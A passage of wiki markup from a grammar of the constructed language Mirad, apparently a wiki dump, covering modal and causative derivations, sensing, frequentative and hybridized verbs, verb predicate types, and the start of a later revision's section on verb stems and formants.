| '''yifer'''&lt;br&gt;''dare'' || '''yifa'''&lt;br&gt;''daring, brave'' || '''yifwer'''&lt;br&gt;''be safe'' || '''yifwa'''&lt;br&gt;''safe''
|-
!row=1| Fear 
| '''yufer'''&lt;br&gt;''be afraid'' || '''yufa'''&lt;br&gt;''afraid'' || '''yufwer'''&lt;br&gt;''be a danger'' || '''yufwa'''&lt;br&gt;''frightening''
|-
!row=1| Joy 
| '''iver'''&lt;br&gt;''enjoy'' || '''iva'''&lt;br&gt;''glad'' || '''ivwer'''&lt;br&gt;''be a joy'' || '''ivwa'''&lt;br&gt;''enjoyable''
|-
!row=1| Sorrow
| '''uver'''&lt;br&gt;''be sorry'' || '''uva'''&lt;br&gt;''sorry, sad'' || '''uvwer'''&lt;br&gt;''be a shame'' || '''uvwa'''&lt;br&gt;''regrettable''
|}

: Examples of subject-oriented forms:

::* '''At se &lt;u&gt;yafa&lt;/u&gt; xer hes.'''....''I &lt;u&gt;am capable of&lt;/u&gt; doing anything.''
::* '''Et &lt;u&gt;ofe&lt;/u&gt; teater hia dyezun.'''....''You &lt;u&gt;are not allowed/are prohibited&lt;/u&gt; to see this film.''
::* '''Duven at &lt;u&gt;afe&lt;/u&gt; per hum?'''....''Am I &lt;u&gt;allowed&lt;/u&gt; to go there?''
::* '''Yat &lt;u&gt;fu&lt;/u&gt; ter eta dyun.'''....''We &lt;u&gt;would like&lt;/u&gt; to know your name.''
::* '''Piti &lt;u&gt;ufe&lt;/u&gt; beser be mel.'''....''Fish &lt;u&gt;hate&lt;/u&gt; to remain on dry land.''
::* '''At ajay &lt;u&gt;ifa&lt;/u&gt; dazer.'''....''I once &lt;u&gt;loved&lt;/u&gt; to dance.''
::* '''Et se iva, at &lt;u&gt;yife&lt;/u&gt; der.'''....''You are beautiful, I &lt;u&gt;dare&lt;/u&gt; say.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; xer has ga ig.'''....''I &lt;u&gt;should&lt;/u&gt; have done it sooner.''
::* '''Von &lt;u&gt;yufu&lt;/u&gt;; At yupeye.'''....''&lt;u&gt;Fear&lt;/u&gt; not; I am coming.''
::* '''Et &lt;u&gt;yefe&lt;/u&gt; puer ja eymaj.'''....''You &lt;u&gt;must&lt;/u&gt; arrive before noon.''
::* '''Yet &lt;u&gt;yofe&lt;/u&gt; daler je ha dezun.'''....''You people &lt;u&gt;must not&lt;/u&gt; talk during the performance.''
::* '''Yat &lt;u&gt;yeyfe&lt;/u&gt; (= se &lt;u&gt;yeyfa&lt;/u&gt;) aker.'''....''We should (= are &lt;u&gt;bound/supposed/due&lt;/u&gt;) to win.''
::* '''At &lt;u&gt;ive&lt;/u&gt; teater et bakser.'''....''I&lt;u&gt;'m glad&lt;/u&gt; to see you get better.''
::* '''Su &lt;u&gt;iva&lt;/u&gt;.'''....''Be &lt;u&gt;happy&lt;/u&gt;.''
::* '''At &lt;u&gt;uvu (= su uva)&lt;/u&gt; teater et iper.'''....''I &lt;u&gt;would be sad&lt;/u&gt; to see you leave.''

: Examples of patient-oriented forms:

::* '''&lt;u&gt;Afwe&lt;/u&gt; (= se afwa) mavier him.'''....''&lt;u&gt;It is permissible&lt;/u&gt; to smoke here.''
::* '''&lt;u&gt;Ofwe&lt;/u&gt; (= se ofwa*) puxer fyumul him.'''....''&lt;u&gt;It is prohibited&lt;/u&gt; to throw litter here.''
::* '''&lt;u&gt;Fwe&lt;/u&gt; (= se fwa) van yet dolu.'''....''&lt;u&gt;It is desired&lt;/u&gt; that you stop talking.''
::* '''&lt;u&gt;Voy yafwe&lt;/u&gt; beser him gajob.'''....''&lt;u&gt;It is not possible&lt;/u&gt; to remain here any longer.''
::* '''&lt;u&gt;Yofwa&lt;/u&gt; av at ivteuder.'''....''&lt;u&gt;It was not possible&lt;/u&gt; for me to laugh.''
::* '''&lt;u&gt;Yefwe&lt;/u&gt; van et piu ig.'''....''&lt;u&gt;It is essential&lt;/u&gt; that you leave quickly.''
::* '''He &lt;u&gt;yeyfwe&lt;/u&gt; ober ata tyoyafi?'''....''Is &lt;u&gt;it obligatory&lt;/u&gt; to remove my shoes?''
::* '''Ga yux &lt;u&gt;efwo&lt;/u&gt;.'''....''More help &lt;u&gt;will be needed&lt;/u&gt;.''
::* '''Yuxren se &lt;u&gt;ufwa&lt;/u&gt; xetyen.'''....''Slavery is an &lt;u&gt;odious&lt;/u&gt; practice.''
::* '''&lt;u&gt;Uvwe&lt;/u&gt; van wit oka.'''....''&lt;u&gt;It's a shame&lt;/u&gt; that he lost.''

:: *&lt;small&gt;'''lofwa''' is used for ''unwanted'' for disambiguation purposes.&lt;/small&gt;

=== Deriving Causatives from Modal Stems ===

: Various causative verbs can be formed from modal stems, as shown in the chart below:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Deriving Causatives from Modal Stems
|-
! Subject-oriented !! Patient-oriented
|-
| '''afxer'''....''allow'' (someone to do sthg.) || '''afwaxer'''....''permit'' (something to be done)
|-
| '''efxer'''....''require'' || '''efwaxer'''....''necessitate''
|-
| '''ofxer'''....''prohibit'' || '''ofwaxer'''....''prohibit''
|-
| '''yafxer'''....''enable'' || '''yafwaxer'''....''make possible''
|-
| '''yefxer'''....''oblige'' || '''yefwaxer'''....''make obligatory''
|-
| '''yofxer'''....''cripple'' || '''yofwaxer'''....''disable''
|-
| '''yifxer'''....''embolden'' || '''yifwaxer'''....''make safe''
|-
| '''yufxer'''....''intimidate'' || '''yufwaxer'''....''make frightening''
|-
| '''ifxer'''....''please'' || '''ifwaxer'''....''make pleasant''
|}

=== Creating Modal Verbs and Adjectives with Modal Stem Suffixes ===

: Verb stems can be suffixed with modal participles to produce related modal verbs and adjectives.  The first chart shows the modal participles themselves that can be suffixed to verb stems.  Subject-oriented forms refer only to people, while patient-oriented forms (ending in '''-wa''') refer only to things.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modal Suffixes
|-
! Subject-oriented !! Patient-oriented
|-
| '''-yafa'''....''able to X, -able'' || '''-yafwa'''....''possible to X''
|-
| '''-yofa'''....''unable to X'' || '''-yofwa'''....''impossible to X''
|-
| '''-ifa'''....''fond of Xing, Xophile'' || '''-ifwa'''....''enjoyable to X''
|-
| '''-ufa'''....''averse to Xing, Xophobic'' ||'''-ufwa'''....''unenjoyable to X''
|-
| '''-yika'''....''hard of Xing'' || '''-yikwa'''....''hard to X'' 
|-
| '''-yuka'''....''comfortable/easy Xing'' || '''-yukwa'''....''easy to X''
|-
| '''-yaka'''....''expecting to X'' || '''yakwa'''....''expected/likely to X''
|-
| '''-efa'''....''in need of Xing'' || '''-efwa'''....''necessary to X''
|-
| '''-yefa'''....''obliged to X'' || '''-yefwa'''....''obligatory/due to X''
|-
| '''-yufa'''....''afraid of Xing'' || '''-yufwa'''....''frightening to X''
|}

: This table shows some of these modal suffixes applied to actual verb and noun stems:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modals and Orientation
|-
! Orientation !! Positive Adjective !! Positive Verb !! Negative Adjective !! Negative Verb
|-
!row=1| '''Subject''' 
| '''teatyafa'''&lt;br&gt;''able to see, sighted'' || '''teatyafer'''&lt;br&gt;''be able to see'' || '''teatyofa'''&lt;br&gt;''blind'' || '''teatyofer'''&lt;br&gt;''be blind''
|-
!row=1| '''Patient''' 
| '''teatyafwa'''&lt;br&gt;''visible'' || '''teatyafwer'''&lt;br&gt;''be visible'' || '''teatyofwa'''&lt;br&gt;''invisible'' || '''teatyofwer'''&lt;br&gt;''be invisible''
|-
!row=1| '''Subject''' 
| '''teetyafa'''&lt;br&gt;''able to hear, hearing'' || '''teetyafer'''&lt;br&gt;''be able to hear'' || '''teetyofa'''&lt;br&gt;''deaf'' || '''teatyofer'''&lt;br&gt;''be deaf''
|-
!row=1| '''Patient''' 
| '''teetyafwa'''&lt;br&gt;''audible'' || '''teetyafwer'''&lt;br&gt;''be audible'' || '''teeyofwa'''&lt;br&gt;''inaudible'' || '''teeyofwer'''&lt;br&gt;''be inaudiable''
|-
!row=1| '''Subject''' 
| '''dalyafa'''&lt;br&gt;''able to speak'' || '''dalyafer'''&lt;br&gt;''be able to speak'' || '''dalyofa'''&lt;br&gt;''mute, dumb'' || '''dalyofer'''&lt;br&gt;''be mute, dumb''
|-
!row=1| '''Subject''' 
| '''doabifa'''&lt;br&gt;''patriotic'' || '''doabifer'''&lt;br&gt;''be patriotic'' || '''doabufa'''&lt;br&gt;''rebellious'' || '''doabufer'''&lt;br&gt;''rebel'' 
|-
!row=1| '''Subject''' 
| '''tosyafa'''&lt;br&gt;''sensitive'' || '''tosyafer'''&lt;br&gt;''be able to feel'' || '''tosyofa'''&lt;br&gt;''insensitive'' || '''tosyofer'''&lt;br&gt;''be numbed''
|-
!row=1| '''Patient''' 
| '''tayotyafwa'''&lt;br&gt;''palpable'' || '''tayotyafwer'''&lt;br&gt;''be palpable'' || '''tayotyofwa'''&lt;br&gt;''numb'' || '''tayotyofwer'''&lt;br&gt;''be impalbable, numb''
|-
!row=1| '''Patient''' 
| '''testyukwa'''&lt;br&gt;''easy to understand'' || '''testyukwaxer'''&lt;br&gt;''make easily understood'' || '''testyikwa'''&lt;br&gt;''hard to understand'' || '''testyikwaxer'''&lt;br&gt;''make hard to understand''
|-
!row=1| '''Subject'''
| '''tudyaka'''&lt;br&gt;''pregnant, expecting'' || '''tudyaker'''&lt;br&gt;''be expecting''|| ||
|-
!row=1| '''Patient'''
|'''mamilyakwa'''&lt;br&gt;''likely to rain'' || '''mamilyakwer'''&lt;br&gt;''to be expected to rain''|| '''mamilyokwa'''&lt;br&gt;''unlikely to rain''|| '''mamilyokwer'''&lt;br&gt;''to be unlikely to rain''
|-
!row=1| '''Subject''' 
| '''tilefa'''&lt;br&gt;''thirsty'' || '''tilefer'''&lt;br&gt;''be thirsty'' || ||
|-
!row=1| '''Subject''' 
| '''telefa'''&lt;br&gt;''hungry'' || '''telefer'''&lt;br&gt;''be hungry'' || ||
|-
!row=1| '''Patient''' 
| '''tejefwa'''&lt;br&gt;''vital'' || '''tejefwer'''&lt;br&gt;''be vital'' || ||
|-
!row=1| '''Subject''' 
| '''tujefa'''&lt;br&gt;''sleepy'' || '''tujefer'''&lt;br&gt;''be sleepy'' || ||
|-
!row=1| '''Subject''' 
| '''nasefa'''&lt;br&gt;''poor, needy'' || '''nasefer'''&lt;br&gt;''be needy'' || ||
|-
!row=1| '''Subject''' 
| '''dudyefa'''&lt;br&gt;''accountable, responsible'' || '''dudyefer'''&lt;br&gt;''be responsible'' || ||
|-
!row=1| '''Patient'''
| '''texiyefwa'''&lt;br&gt;''noteworthy'' || '''texiyefwer'''&lt;br&gt;''be noteworthy'' || ||
|}

== Sensing Verbs ==
: Verbs involving the senses, such as sight or hearing, follow a similar pattern, as the following chart shows:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Sensing Verbs
|- valign=top
! TYPE !! '''teab'''....''eye''&lt;br&gt;'''teata'''....''visual'' !! '''teeb'''....''ear''&lt;br&gt;'''teeta'''....''acoustic'' !! '''teib'''....''nose''&lt;br&gt;'''teita'''....''olfactory'' !! '''teub'''....''mouth''&lt;br&gt;'''teuta'''....''gustatory'' !! '''tayob'''....''skin''&lt;br&gt;'''tayota'''....''tactile''
|- valign=top
!row=1| Receptive&lt;br&gt;Active 
| '''teater'''&lt;br&gt;''see'' || '''teeter'''&lt;br&gt;''hear'' || '''teiter'''&lt;br&gt;''smell'' || '''teuter'''&lt;br&gt;''taste'' || '''tayoter'''&lt;br&gt;''feel''
|-  valign=top
!row=1| Receptive&lt;br&gt;Passive 
| '''teatwer'''&lt;br&gt;''be seen'' || '''teetwer'''&lt;br&gt;''be heard'' || '''teitwer'''&lt;br&gt;''be smelled'' || '''teutwer'''&lt;br&gt;''be tasted'' || '''tayotwer'''&lt;br&gt;''be felt''
|-  valign=top
!row=1| Stative  
| '''teaser'''&lt;br&gt;''seem'' || '''teeser'''&lt;br&gt;''sound'' || '''teiser'''&lt;br&gt;''smell'' || '''teuser'''&lt;br&gt;''taste'' || '''tayoser'''&lt;br&gt;''feel'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Active 
| '''teaxer'''&lt;br&gt;''look at'' || '''teexer'''&lt;br&gt;''listen'' || '''teixer'''&lt;br&gt;''sniff'' || '''teuxer'''&lt;br&gt;''taste'' || '''tayoxer'''&lt;br&gt;''touch'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Passive 
| '''teaxwer'''&lt;br&gt;''be looked at'' || '''teexwer'''&lt;br&gt;''be listened to'' || '''teixwer'''&lt;br&gt;''be sniffed'' || '''teuxwer'''&lt;br&gt;''be tasted'' || '''tayoxwer'''&lt;br&gt;''be touched''
|-  valign=top
!row=1| Causative&lt;br&gt;Active
| '''teatuer'''&lt;br&gt;''show'' || '''teetuer'''&lt;br&gt;''make hear'' || '''teixuer'''&lt;br&gt;''make smell'' || '''teuxuer'''&lt;br&gt;''offer a taste'' || '''tayoxuer'''&lt;br&gt;''make feel''
|-  valign=top
!row=1| Causative&lt;br&gt;Passive
| '''teatuwer'''&lt;br&gt;''be shown'' || '''teetuwer'''&lt;br&gt;''be made to hear'' || '''teituwer'''&lt;br&gt;''be made to smell'' || '''teutuwer'''&lt;br&gt;''be given a taste'' || '''tayotuwer'''&lt;br&gt;''be made to feel''
|-  valign=top
!row=1| Inchoative&lt;br&gt;Active 
| '''teatier'''&lt;br&gt;''perceive,''&lt;br&gt;''catch sight of'' || '''teetier'''&lt;br&gt;''catch the&lt;br&gt;sound of'' || '''teitier'''&lt;br&gt;''get a whiff of'' || '''teutuer'''&lt;br&gt;''get a taste of'' || '''tayotier'''&lt;br&gt;''get the sensation of'' 
|-  valign=top
!row=1| Inchoative&lt;br&gt;Passive 
| '''teatiwer'''&lt;br&gt;''be perceived'' || '''teetiwer'''&lt;br&gt;''be heard'' || '''teitiwer'''&lt;br&gt;''be whiffed'' || '''teutiwer'''&lt;br&gt;''be tasted'' || '''tayotiwer'''&lt;br&gt;''be felt'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofer'''&lt;br&gt;''be blind'' || '''teetyofer'''&lt;br&gt;''be deaf'' || '''teityofer'''&lt;br&gt;''be unable to smell'' || '''teityofer'''&lt;br&gt;''be unable to taste'' || '''tayotyofer'''&lt;br&gt;''be insensitive'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofwer'''&lt;br&gt;''be invisible'' || '''teetyofwer'''&lt;br&gt;''be inaudible'' || '''teityofwer'''&lt;br&gt;''be undetectable&lt;br&gt;odorwise'' || '''teityofwer'''&lt;br&gt;''be insipid'' || '''tayotyofwer'''&lt;br&gt;''be undetectable&lt;br&gt;by touch'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofxer'''&lt;br&gt;''blind'' || '''teetyofxer'''&lt;br&gt;''deafen'' || '''teityofxer'''&lt;br&gt;''desensitize&lt;br&gt;to smell'' || '''teutyofxer'''&lt;br&gt;''desensitize to&lt;br&gt;taste'' || '''tayotyofxer'''&lt;br&gt;''desensitize'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofwaxer'''&lt;br&gt;''make invisible'' || '''teetyofwaxer'''&lt;br&gt;''make inaudible'' || '''teityofwaxer'''&lt;br&gt;''make odorless'' || '''teutyofwaxer'''&lt;br&gt;''render tasteless'' || '''tayotyofwaxer'''&lt;br&gt;''numb'' 
|}
: Examples of usage:

:* '''At &lt;u&gt;teatyofxwa&lt;/u&gt; bey ha mani.'''....''I &lt;u&gt;was blinded&lt;/u&gt; by the lights.''
:* '''Ha xeus sa &lt;u&gt;teetyofxyea&lt;/u&gt;.'''....''The noise was &lt;u&gt;deafening&lt;/u&gt;.''
:* '''Hia tit se gla &lt;u&gt;teatiyafa&lt;/u&gt;.'''....''This pupil is very &lt;u&gt;perceptive&lt;/u&gt;.''
:* '''Hua bekil se &lt;u&gt;teityofwa&lt;/u&gt;.'''....''That medicine is &lt;u&gt;odorless&lt;/u&gt; (impossible to smell).''
:* '''&lt;u&gt;Teatyofwaxu&lt;/u&gt; ha vyuni.'''....''&lt;u&gt;Make&lt;/u&gt; the spots &lt;u&gt;invisible&lt;/u&gt;.''
:* '''Ha magmemyaz yonpyexlun &lt;u&gt;tayotyafwa&lt;/u&gt; zya ha mir.'''....''The volcano eruption &lt;u&gt;could be felt&lt;/u&gt; throughout the world.''

== Frequentative Verbs ==
:Frequentative verbs or repetitive action verbs can be formed with the prefix '''je-'''.  This prefix gives the verb the meaning ''to keep on doing something''.

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Frequentative Verbs
|-
! Normal !! Frequentative
|-
| '''teaxer'''....''to look''||'''&lt;u&gt;je&lt;/u&gt;teaxer'''....''to watch''
|-
| '''bexer'''....''to hold''||'''&lt;u&gt;je&lt;/u&gt;bexer'''....''to conserve''
|-
| '''byexer'''....''to hit''||'''&lt;u&gt;je&lt;/u&gt;byexer'''....''to batter''
|-
| '''zoigper'''....''to pursue''||'''&lt;u&gt;je&lt;/u&gt;zoigper'''....''to stalk''
|-
| '''duler'''....''to urge'' || '''&lt;u&gt;je&lt;/u&gt;duler'''....''to nag''
|}

== Hybridized Verbs ==
: Verbs that involve motion directions that change back and forth can be formed by hybridizing the stem vowel or the vowel of the vectorial prefix.  Here are some examples:

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Hybridized Verbs
|-
! First Verb !! Second Verb !! Hybridized Verb
|-
| '''py&lt;u&gt;a&lt;/u&gt;ser'''....''jump up''|| '''py&lt;u&gt;o&lt;/u&gt;ser'''....''fall down'' || '''py&lt;u&gt;ao&lt;/u&gt;ser'''....''bounce, undulate''
|-
| '''buer'''....''give'' || '''bier'''....''take'' || '''buier'''....''exchange''
|-
| '''nuer'''....''furnish'' || '''nier'''....''consume'' || '''nuier'''....''trade''
|-
| '''tuer'''....''inform'' || '''tier'''....''learn'' || '''tuier'''....''communicate''
|-
| '''yaper'''....''ascend'' || '''yoper'''....''descend'' || '''yaoper'''....''go up and down''
|-
| '''zayper'''....''go forward'' || '''zoyper'''....''go back'' || '''zaoper'''....''vacillate''
|-
| '''vader'''....''affirm'' || '''voder'''....''deny'' || '''vaoder'''....''decide''
|-
| '''yijber'''....''open'' || '''yujber'''....''close'' || '''uijber'''....''valve''
|-
| '''baser'''....''stir'' || '''boser'''....''be still'' || '''baoser'''....''vibrate''
|}

== Expressing Habitual Actions and States ==
: Mirad uses the term '''gel jubyen''' (''as a habit'') to express a verb reflecting habitual action, eg:
::* '''At tijeya be yiwa jwobi gel jubyen.'''....''I used to wake up at 9 o'clock.'' (Lit. ''I was waking up at 9 o'clock as a habit.'').
: The term '''hyujod'''....''one another occasion'' (or '''be aj'''....''in the past'') is use to express ''once (upon a time)'', eg:
::* '''At sa tuxut hyujod (~ be aj) sa tuxut.''' ....''I once was a teacher.''
: The term '''vyabxelay''' (''routinely'') can also be used, eg:
::* '''Yat eke duz yuz bi ha doym vyabxelay.'''....''We play music around town routinely.''

== Expressing an Immediate Past ==
: To express an immediate past, such as in the sentence ''&quot;We have just gotten married.&quot;'', Mirad uses the adverb '''ejnay''' (''newly'') much like the word ''just'' in English:
::* '''Yat tadsaye &lt;u&gt;ejnay&lt;/u&gt;.'''....''We have &lt;u&gt;just&lt;/u&gt; gotten married.''
::* '''&lt;u&gt;Ejnay&lt;/u&gt; tadxwa.'''....''&lt;u&gt;Just&lt;/u&gt; married.''
::* '''Wit dokebiwa &lt;u&gt;ejnay&lt;/u&gt;.'''....''He was &lt;u&gt;just&lt;/u&gt; elected.''
::* '''At ujbaya yex &lt;u&gt;ejnay&lt;/u&gt; hoj iyt yebupa.'''....''I had &lt;u&gt;just&lt;/u&gt; finished work when she came in.''

== Verb Predicate Types ==
: Mirad verb predicates can be classified as follows:
:* '''''Voice'''''
::* Active (The subject is the doer of the action)
::* Passive (The subject is the receiver of the action)
::* Middle (The subject is both the agent and patient)
::* Reflexive (The subject is also the patient.)
::* Reciprocal (Plural subjects interact.)
:* '''''Stativity'''''
::* Stative (Does not involve action)
::* Dynamic (Action is involved)
:* '''''Valency'''''
::* Impersonal (There is no subject)
::* Transitive (There is an object)
::* Intransitive (There is no object)
::* Auto-transitive (The subject is a patient and there is no agent)
::* Anti-transitive (There is the patient but an agent is assumed)
::* Causative (Subject causes an action to be performed)
::* Copula (X is Y)
:* '''''Other'''''
::* Modal (''can, must, should, wants to''...)
::* Auxiliary (''help to, hope to, prepare to'' + verb)
::* Motion (''run, go, ride''...)
::* Communication (''say, answer, claim that...'')
::* Gesture (''put, shake, hit...'')
::* State/Stative (''be, become, live, be born...'')
::* Action/Dynamic (''do, act, make'')

{| class=&quot;wikitable&quot; style=&quot;background: lightYellow;;{{Text default color}};font-size:smaller;&quot;
|+ Verb Predicate Types
|-
! Voice !! Stativity!! Valency !! Example
|-
| active || stative || impersonal, -agent, -object || '''Mamilo zajub.'''....''It will rain tomorrow.''
|-
| active || stative || impersonal, -agent, +complement || '''Sa gla oma.'''....''It was very cold.''
|-
| active || stative || impersonal, +subject || '''Ese het be ha mes.'''....''There is someone at the door.''
|-
| active || stative || copula, subject + noun/adjective complement || '''Et se ata twud.'''....''You are my son.''&lt;br&gt;'''At aseye ebbyextipa.'''....''I am becoming angry.''
|-
| middle || stative || auto-transitive, +subject=patient -agent -object || '''Iyt toja.'''....''She died''
|-
| middle || stative || auto-transitive, +subject=patient +agent -object || '''Ha mes yija.'''....''The door opened.''
|-
| active || stative || intransitive, +subject -object|| '''Et bokso.'''....''You will get sick.''
|-
| active || stative || transitive, sense, +subject +object || '''At teate et.'''....''I see you.''
|-
| active || stative || transitive, modal, +subject +verb complement || '''At fe per.'''....''I want to go.''
|-
| active || stative || intransitive, subject-oriented modal, -subject +verb complement || '''Yofwe teater.'''....''It is impossible to see.'' 
|-
| passive || stative || patient-oriented modal, +subject || '''Mamil yakwe.'''....''Rain is expected.''
|-
| middle || dynamic || anti-transitive, +subject=patient +agent -object || '''Ha mes yijpa.'''....''The door came open.''
|-
| active || dynamic || intransitive, +subject -object|| '''Ha fab pyosa.'''....''The tree fell.''
|-
| active || dynamic || transitive, +subject  +-object || '''Yit pyoxa ha fab.'''....''They felled the tree.''
|-
| passive || dynamic || intransitive, +subject, -object || '''Ha fabi pyoxwa.'''....''The trees were felled.''
|-
| active || dynamic || transitive, +subject, +object|| '''Obu eta tef.'''....''Take your hat off.''
|-
| active || dynamic || ditransitive, +subject, +object +object || '''Von et buu iyt ha nas.'''....''Don't give her the money.''
|-
| active || dynamic || transitive, motion, +subject, +destination/origin || '''Yupu ha seem.'''....''Approach the bench.''&lt;br&gt;'''Pu tam!'''....''Go home!'' (''you'' implied)
|-
| active || dynamic || causative, +subject +object, +agent || '''At tayegobluxo Jon.'''....''I will get my hair cut by John.''
|-
| passive || dynamic || causative, +subject +object, +agent || '''At tayegobluxwo.'''....''I will get my hair cut.''
|-
| active || dynamic || auxiliary, ditransitive, +patient +verb object || '''Yuxu at xer his.'''....''Help me do this.''
|-
| passive || dynamic || auxiliary, ditransitive, +patient +verb object || '''At tuxwa eker duz.'''....''I was taught to play music.''
|-
| middle || dynamic || reflexive, +subject = patient, -object || '''Iyt uttojba.'''....''She killed herself.''
|-
| active || dynamic || reciprocal, +subjects = patients || '''Yit voy hyuitdale gaj.'''....''They don't talk to one another anymore.''
|}
&lt;noinclude&gt;{{Chapter navigation with TOC|Pronouns|Prepositions}}&lt;/noinclude&gt;</text>
      <sha1>lgufmh716cokxs1yi3vf676caqecpva</sha1>
    </revision>
    <revision>
      <id>4670503</id>
      <parentid>4670497</parentid>
      <timestamp>2026-09-16T19:39:11Z</timestamp>
      <contributor>
        <username>Tyoyafud</username>
        <id>6233</id>
      </contributor>
      <comment>/* Giving Verbs a Nuance of Pleasure with if- */</comment>
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      <text bytes="137844" sha1="gssykhblrnoxxj33jszjrqwf1xxyozl" xml:space="preserve">&lt;noinclude&gt;{{status|100%}}&lt;/noinclude&gt;
== The Verb Stem  ==
[[File:Various forms of using the verb &quot;to inform&quot; in LSC.png|thumb|]]
: Verbs in Mirad are listed in the dictionary under the present active infinitive (see [[Mirad Grammar/Verbs#Non-finite Forms]]), such as '''yexer'''....''to work''. The infinitive minus the '''er''' ending is the stem.  The stem is used as the base for all other verbal instantiations.  The infinitive as listed in the dictionary is usually active in voice, but occasionally a passive infinitive ending in '''-wer''' will be lexicalized because it is somehow special, so then, the stem is still the infinitive minus the '''-er''' ending.  All Mirad verbs are conjugated in the same way and there are no exceptions.

: This shows how to determine the '''''stem''''' of a verb listed in the dictionary:


::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Stems
|-
! Simple Infinitive !! Stem&lt;big&gt;+&lt;/big&gt;Infinitive Ending
|-
| '''yex&lt;u&gt;er&lt;/u&gt;'''....''to work'' || '''yex&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''pos&lt;u&gt;er&lt;/u&gt;'''....''to (come to a) stop''  || '''pos&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''x&lt;u&gt;er&lt;/u&gt;'''....''to do'' || '''x&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''xw&lt;u&gt;er&lt;/u&gt;'''....''to happen, be done'' (PASSIVE)|| '''xw&lt;big&gt;+&lt;/big&gt;er'''
|}
=== Verb Formants ===
: The active stems of verbs most often end in one of the following verb formants:

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Formats
|-
! Verb Formant !! Function !! Examples
|-
| '''-x-''' || action or causation || '''xer'''....''to do'', '''saxer'''....''to create'', '''agaxer'''....''to magnify'', '''yixer'''....''to use'', '''abaxer'''....''to pat''
|-
| '''-xl-'''|| forceful action || '''yixler'''....''to employ'', '''abaxler'''....''to knead''
|-
| '''-xr-'''|| more forceful action || '''yixrer'''....''to wear out'', '''abaxrer'''....''to rub''
|-
| '''-b-'''|| gesture || '''ber'''....''to put'', '''aber'''....''to apply'', '''yujber'''....''to close'', '''gober'''....''to subtract''
|-
| '''-bl-'''|| forceful gesture || '''yujbler'''....''to lock'', '''gobler'''....''to cut''
|-
| '''-br-'''|| more forceful gesture || '''yobrer'''....''to knock down'', '''gobrer'''....''to chop''
|-
| '''-s-''' || state or becoming || '''ser'''....''to be'', '''eser'''....''to exist'', '''aser'''....''to become'', '''beser'''....''to remain'', '''paser'''....''to move''
|-
| '''-sl-''' || more intensive || '''besler'''....''to linger'', '''pasler'''....''to shake''
|-
| '''-sr-''' || most intensive || '''besrer'''....''to loiter'', '''pasrer'''....''to convulse''
|-
| '''-p-''' || motion or going || '''per'''....''to go'', '''yaper'''....''to ascend'', '''paper'''....''to fly''
|-
| '''-pl-''' || more intensive || '''yapler'''....''to climb'', '''zyepler'''....''to intrude''
|-
| '''-pr-''' || most intensive || '''yaprer'''....''to scramble up'', '''yeprer'''....''to break in''
|-
| '''-i-'''|| action toward subject || '''bier'''....''to take'', '''nier'''....''to consume'', '''ifier'''.'..''to enjoy'', '''dier'''....''to ask''
|-
| '''-u-'''|| action toward object || '''buer'''....''to give'', '''nuer'''....''to supply'', '''ifuer'''....''to please'', '''duer'''....''to suggest''
|-
| '''-d-''' || communication || '''der'''....''to say'', '''vader'''....''to affirm'', '''yevder'''....''to judge''
|-
| '''-dr-''' || writing || '''drer'''....''to write'', '''teedrer'''....''to report'', '''taxdrer'''....''to record''
|-
| '''-dy-''' || reading || '''dyer'''....''to read''
|-
| '''-t-''' || knowing (a thing)|| '''ter'''....''to know'', '''tester'''....''to understand'', '''teater'''....''to see''
|-
| '''-tr-''' || knowing (a person)|| '''trer'''....''to recognize''
|-
| '''-ty-''' || knowing (how) || '''tyer'''....''to know how''
|-
| '''-f-''' || volition and modal verbs || '''fer'''....''to want'', '''ifer'''....''to love'', '''ufer'''....''to hate'', '''yafer'''....''to be able''
|-
| '''-fi-''' || toward the subject || '''ifier'''....''to enjoy''
|-
| '''-fu-''' || toward a patient || '''ifuer'''....''to amuse''
|-
| '''-fl-''' || more intensive || '''ifler'''....''to be fond of'', '''yafler'''....''to wield power''
|-
| '''-fli-''' || toward the subject || '''iflier'''....''to be charmed by''
|-
| '''-flu-''' || toward a patient || '''ifluer'''....''to enchant''
|-
| '''-fr-''' || most intenstive || '''ifrer'''....''to worship'', '''ufrer'''....''to loathe'', '''yufrer'''....''to cringe''
|-
| '''-fri-''' || toward the subject || '''ifrier'''....''to become infatuated with''
|-
| '''-fru-''' || toward a patient || '''ifruer'''....''to infatuate''
|-
| '''-v-''' || some modal verbs || '''yiver'''....''to have a right to'', '''yuver'''....''to have a duty to''
|-
| '''-vi-''' || toward the subject || '''ivier'''....''to derive joy from''
|-
| '''-vu-''' || toward a patient || '''ivuer'''....'' to cheer up''
|-
| '''-vl-''' || more intensive || '''yuvler'''....''to be bound to'', '''yavler'''....''to be proud''
|-
| '''-vli-''' || toward the subject || '''yavlier'''....''to take pride in''
|-
| '''-vlu-''' || toward a patient || '''yavluer'''....''to instill pride in''
|-
| '''-vr-''' || most intensive || '''uvrer'''....''to grieve''
|-
| '''-vri-''' || toward the subject || '''uvrier'''....''to grieve''
|-
